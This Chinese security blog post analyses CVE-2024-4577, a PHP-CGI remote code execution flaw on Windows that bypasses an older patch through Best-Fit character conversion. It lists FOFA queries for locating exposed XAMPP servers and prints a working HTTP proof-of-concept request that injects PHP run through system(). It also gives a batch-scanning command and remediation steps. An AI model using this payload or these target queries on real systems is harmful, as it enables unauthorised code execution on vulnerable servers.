PHP CGI Windows平台远程代码执行漏洞技术分析

admin 2024年6月12日11:32:56评论55 views字数 1264阅读4分12秒阅读模式

漏洞描述

PHP-CGI(PHP Common Gateway Interface)是一种用于在Web服务器和PHP解释器之间进行通信的接口协议。通常情况下,PHP通过集成在Web服务器(如Apache或Nginx)中来处理动态内容生成。然而,PHP-CGI提供了一种独立于Web服务器的方式来执行PHP脚本。
在Windows平台上,PHP设计时忽略了字符转换的Best-Fit特性。特别是,当PHP-CGI在Windows平台上运行并使用简体中文936、繁体中文950或日文932等语系时,攻击者可以通过构造特定的恶意请求来绕过CVE-2012-1823补丁,从而在无需登录的情况下执行任意PHP代码。

漏洞影响版本

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

网络空间测绘查询

使用FOFA进行网络空间测绘查询时,可通过以下关键字进行搜索以发现可能受影响的系统:
  • header="Xampps_info"
  • body="/xampps.jpg"
  • (header="location http" && header="xampp")
  • body="content="Kai Oswald Seidler"
  • title="XAMPP for"
  • title="XAMPP Version"
  • body="font-size: 1.2em; color: red;">New XAMPP"
    PHP CGI Windows平台远程代码执行漏洞技术分析

漏洞复现

漏洞利用
以下是一个可以触发该漏洞的POC示例:
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
REDIRECT-STATUS:1
<?php system("dir");?>
通过发送上述恶意请求,攻击者可以在目标系统上执行任意系统命令,例如列出目录内容。
结果示例
成功执行命令后,系统将返回当前目录列表等信息,证明漏洞已被利用。

批量检测

为了批量检测该漏洞,可以使用Nuclei工具,以下是示例命令:
nuclei.exe -t CVE-2024-4577.yaml -l host.txt

修复建议

为了修复和防止该漏洞的利用,建议采取以下措施:
  • 更新PHP至最新版本,确保所有安全补丁已应用。
  • 限制对php-cgi.exe的访问,仅允许可信任的请求通过。
  • 检查并更新相关配置,确保不使用容易被绕过的字符编码。
  • 强化输入验证,防止恶意输入被直接传递给系统命令执行。
通过这些措施,可以有效降低系统被攻击的风险,确保系统的安全性。

原文始发于微信公众号(云梦安全):PHP CGI Windows平台远程代码执行漏洞技术分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月12日11:32:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP CGI Windows平台远程代码执行漏洞技术分析http://cn-sec.com/archives/2841344.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息